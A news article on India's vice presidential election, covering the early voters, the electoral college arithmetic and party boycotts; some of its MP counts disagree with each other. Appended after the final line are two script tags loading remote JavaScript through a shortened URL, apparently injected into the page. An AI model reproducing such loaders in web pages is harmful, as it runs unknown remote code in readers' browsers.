Voting began for the vice presidential poll on Tuesday, with Prime Minister <a href="https://www.mid-day.com/mumbai/mumbai-news/article/shrikant-shinde-appointed-ndas-authorised-representative-for-vice-presidential-poll-23593020" target="_blank" rel="none noopener">Narendra Modi</a> the first to cast his vote.
The poll is witnessing a direct contest between ruling NDA nominee C P Radhakrishnan and joint opposition candidate B Sudershan Reddy, with the BJP-led alliance having a clear edge in the poll necessitated due to the sudden resignation of Jagdeep Dhankhar.
The stage is set for a contest between Radhakrishnan and retired Supreme Court Judge B Sudershan Reddy, who has been named as the joint opposition candidate for the Vice President's post.
Union Minister Suresh Gopi said, "This election is not about choosing between anyone. It is an <a href="https://www.mid-day.com/news/india-news/article/brs-to-abstain-from-vice-presidential-election-over-telangana-urea-shortage-23593000" target="_blank" rel="none noopener">election</a> aimed at selecting fairness, truthfulness, and effectiveness, which are most needed for the citizens of the country, whether they live inside or outside the country... As a person, I found CP Radhakrishnan to be the best worker or one of the best among thousands of workers in my ideological system."
Among the early voters were Union ministers Rajnath Singh, Arjun Ram Meghwal and Kiren Rijiju. Rajya Sabha deputy chairperson Harivansh, BJP MP Kangana Ranaut and SP leader Ram Gopal Yadav were among others who came to cast their vote.
Members of both Houses of Parliament will cast their votes in the Parliament House between 10 AM and 5 PM on Tuesday. Counting votes will begin at 6 PM, and the results will be announced late evening.
Members of Parliament are not bound by party whips to vote in the vice presidential election, which takes place under a secret <a href="https://www.mid-day.com/news/india-news/article/vp-election-direct-contest-set-for-vice-presidential-polls-between-ndas-radhakrishnan-and-oppositions-reddy-23591083" target="_blank" rel="none noopener">ballot system</a>.
The electoral college for the vice presidential election comprises a total of 788 members - 245 from the Rajya Sabha and 543 from the Lok Sabha. The 12 nominated members of the Rajya Sabha are also eligible to vote in the election.
The present strength of the electoral college is 781 as six seats are vacant in the Rajya Sabha and one in the Lok Sabha. This puts the majority mark at 391. The NDA has 425 MPs, while the opposition camp has the backing of 324.
Joint opposition candidate Reddy is backed by 354 MPs, with 249 in the lower house and 105 in the upper house of the Parliament.
SP chief Akhilesh Yadav said, "Numbers are fine but this voting is done on the basis of one's conscience. The entire country knows that the BJP is a use-and-throw party. The same thing happened with the Vice President, who is missing...The numbers will be in our favour."
Currently, the Parliament comprises 781 members, including 542 in the <a href="https://www.mid-day.com/mumbai/mumbai-news/article/oppositions-vp-candidate-sudarshan-reddy-meets-uddhav-thackeray-in-mumbai-23591597" target="_blank" rel="none noopener">Lok Sabha</a> with one seat vacant and 239 in the Rajya Sabha with five seats vacant.
Biju Janata Dal (BJD) decided to abstain from voting in the Vice Presidential elections. Meanwhile, Bharat Rashtra Samithi (BRS) will not take part in the Vice Presidential poll.
Moreover, <a href="https://www.mid-day.com/mumbai/mumbai-news/article/vice-presidential-elections-rajnath-fadnavis-called-uddhav-to-seek-support-for-nda-candidate-radhakrishnan-says-sanjay-raut-23590501" target="_blank" rel="none noopener">Shiromani Akali Dal</a> (SAD) announced that it will "boycott" the Vice Presidential election, given that people in Punjab are "upset and angry" over no help from the central or state government.
(With inputs from Agencies)<script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

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Voting begins for vice presidential election; PM Modi first to cast vote

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